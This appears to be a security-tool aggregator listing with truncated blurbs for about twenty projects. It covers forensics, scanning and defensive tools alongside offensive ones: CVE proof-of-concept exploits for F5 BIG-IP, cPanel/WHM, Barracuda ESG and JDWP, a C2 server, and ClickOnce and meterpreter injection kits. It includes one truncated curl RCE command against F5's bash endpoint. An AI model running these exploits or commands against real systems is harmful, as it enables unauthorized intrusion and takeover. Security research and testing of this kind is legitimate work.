DroneXtract

About DroneXtract is a comprehensive digital forensics suite for DJI drones made with Golang. It can be used to analyze drone sensor values and telemetry data, visualize drone flight maps, audit for criminal activity, and extract pertinent data within multiple file formats. Preview Features...

apk-medit

apk-medit Apk-medit is a memory search and patch tool for debuggable apk without root & ndk. It was created for mobile game security testing. Many mobile games have rooting detection, but apk-medit does not require root privileges, so memory modification can be done without bypassing the rooting...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE checker Simple bash script to check CVE-2022-1388 RCE F5 BIG-IP. + Usage: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC Exploit Don't forget to change the IP address root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat...

envy

Quick Start • Configuration • Commands • Keybindings • FAQ • Documentation A secure encrypted vault for managing API keys, secrets, and environment variables. Built for developers who live in the terminal. What is Envy? I built Envy because I was tired of juggling .env files and keeping secrets...

NetworkAlarm

NetworkAlarm A command-line tool to monitor local network traffic for possible security vulnerabilities. Warns user against possible nmap scans, Nikto scans, credentials sent in-the-clear, credit card numbers sent in-the-clear, and shellshock attacks. Currently supports live monitoring and networ...

BabyShark

INTRO This is a basic C2 generic server written in Python and Flask. This code has based ideia to GTRS, which uses Google Translator as a proxy for sending commands to the infected host. The BabyShark project aims to centralize reverse connections with agents, creating a way to centralize several...

Grafiki

Grafiki Grafiki is a Django project about Sysmon and graphs, for the time being. In my opinion EventViewer, Elastic and even Kibana, are not graphic enough. The current threats are complicated and if attackers think in graphs, defenders also must do it. This is a proof of concept, the code was no...

CVE-2026-41940-PoC-Exploit

🚀 CVE-2026-41940 - cPanel/WHM 身份验证绕过漏洞利用程序 cPanel 与 WHM 版本 - CRLF 注入实现身份验证绕过与完全会话劫持 📌 概述 此漏洞利用程序利用 CVE-2026-41940 ，这是 cPanel/WHM 中的一个严重身份验证绕过漏洞。通过向会话管理系统注入精心构造的 CRLF 负载，它无需任何有效凭据即可实现会话劫持、获取 root 权限，并完全控制托管面板。 🔥 核心功能 类别| 功能 ---|--- 漏洞利用| ✅ 通过 CRLF 注入绕过身份验证 ✅ WHM 会话劫持 ✅ 安全令牌泄露 ✅ 即时获取 Root 权限 后渗透| ✅...

poc-cve-2023-2868

CVE-2023-2868: Barracuda ESG Command Injection For full details, read our AttackerKB Analysis. Usage Set LHOST and RHOST variables to your listener. ruby poccve20232868.rb This will spawn a reverse shell...

jdwp-shellifier

JDWP 利用脚本 它是什么？ 此漏洞利用脚本供渗透测试人员针对处于活动状态的 JDWP 服务使用，以获取远程代码执行（Remote Code Execution）能力。 它是如何工作的？ 嗯，其工作方式相当标准，脚本只需要一个 Python 2 解释器： root@kitploit: % python ./jdwp-shellifier.py -h usage: jdwp-shellifier.py -h -t IP -p PORT --break-on JAVAMETHOD --cmd COMMAND Universal exploitation script for JDWP by...

Invoke-SessionHunter

Invoke-SessionHunter Retrieve and display information about active user sessions on remote computers. No admin privileges required. The tool leverages the remote registry service to query the HKEYUSERS registry hive on the remote computers. It identifies and extracts Security Identifiers SIDs...

trivy-db

trivy-db 概述 trivy-db 是一个用于操作 Trivy DB 的 CLI 工具和库。 库 Trivy 在内部使用 trivy-db 来操作漏洞数据库。该数据库包含来自 NVD、Red Hat、Debian 等的漏洞信息。 CLI trivy-db CLI 工具用于构建漏洞数据库。GitHub Actions 工作流 会定期使用 trivy-db 构建新版本的漏洞数据库，并将其上传到 GitHub Container Registry（请参阅下面的下载漏洞数据库）。 root@kitploit: NAME: trivy-db - Trivy DB builder USAGE:...

SharkMCP

SharkMCP An MCP server that exposes sharkd — Wireshark's programmatic interface — as a set of tools for LLMs. Load PCAP/PCAPNG files and analyse them with natural language. Requirements Python 3.10+ Wireshark provides sharkd Installation root@kitploit: git clone...

ClickOnceBlobber

ClickOnce AppDomainManager Injection Toolkit Weaponize signed .NET ClickOnce applications for initial access by hijacking a dependency DLL via AppDomainManager injection and loading a C port of ProxyBlob Agent. Ships with a C port of ProxyBlob — a SOCKS5 proxy that tunnels all traffic through Azu...

Pybelt

NOTE: This project is no longer updated, this will be the last push to this project, if you would like more info, feel free to ping me on Twitter: @staysalty Pybelt Pybelt is an open source hackers tool belt complete with: A port scanner SQL injection scanner Dork checker Hash cracker Hash type...

CmdLineSpoofer

Command Line Spoofer An example of using C to inject a meterpreter shell, whilst spoofing the command line. The command line is stored in the Process Environment Block, is logged when a new process starts, and is displayed in tools such as Process Hacker and Task Manager. Introduction This code i...

puredns

Fast domain resolver and subdomain bruteforcing with accurate wildcard filtering Getting Started » Usage · How it works · Sponsorship · FAQ About puredns is a fast domain resolver and subdomain bruteforcing tool that can accurately filter out wildcard subdomains and DNS poisoned entries. It uses...

CVE-2025-50505

CVE-2025-50505 Unauthorized API Leads to Arbitrary Command Execution and Privilege Escalation in Clash Verge Rev Description The vulnerability stems from an unauthenticated API endpoint exposed by the clash-verge-service component, which is installed with elevated privileges by default. This flaw...

PowerMeta

PowerMeta PowerMeta searches for publicly available files hosted on various websites for a particular domain by using specially crafted Google, and Bing searches. It then allows for the download of those files from the target domain. After retrieving the files, the metadata associated with them c...

andor

andor Blind SQL Injection Tool with Golang Usage Download andor.go and go to the folder where the file andor.go located. And type this to command prompt: go run andor.go --url "http://deneme.com/index.php?id=1" Note: Get parameter value must be correct, otherwise it will not work...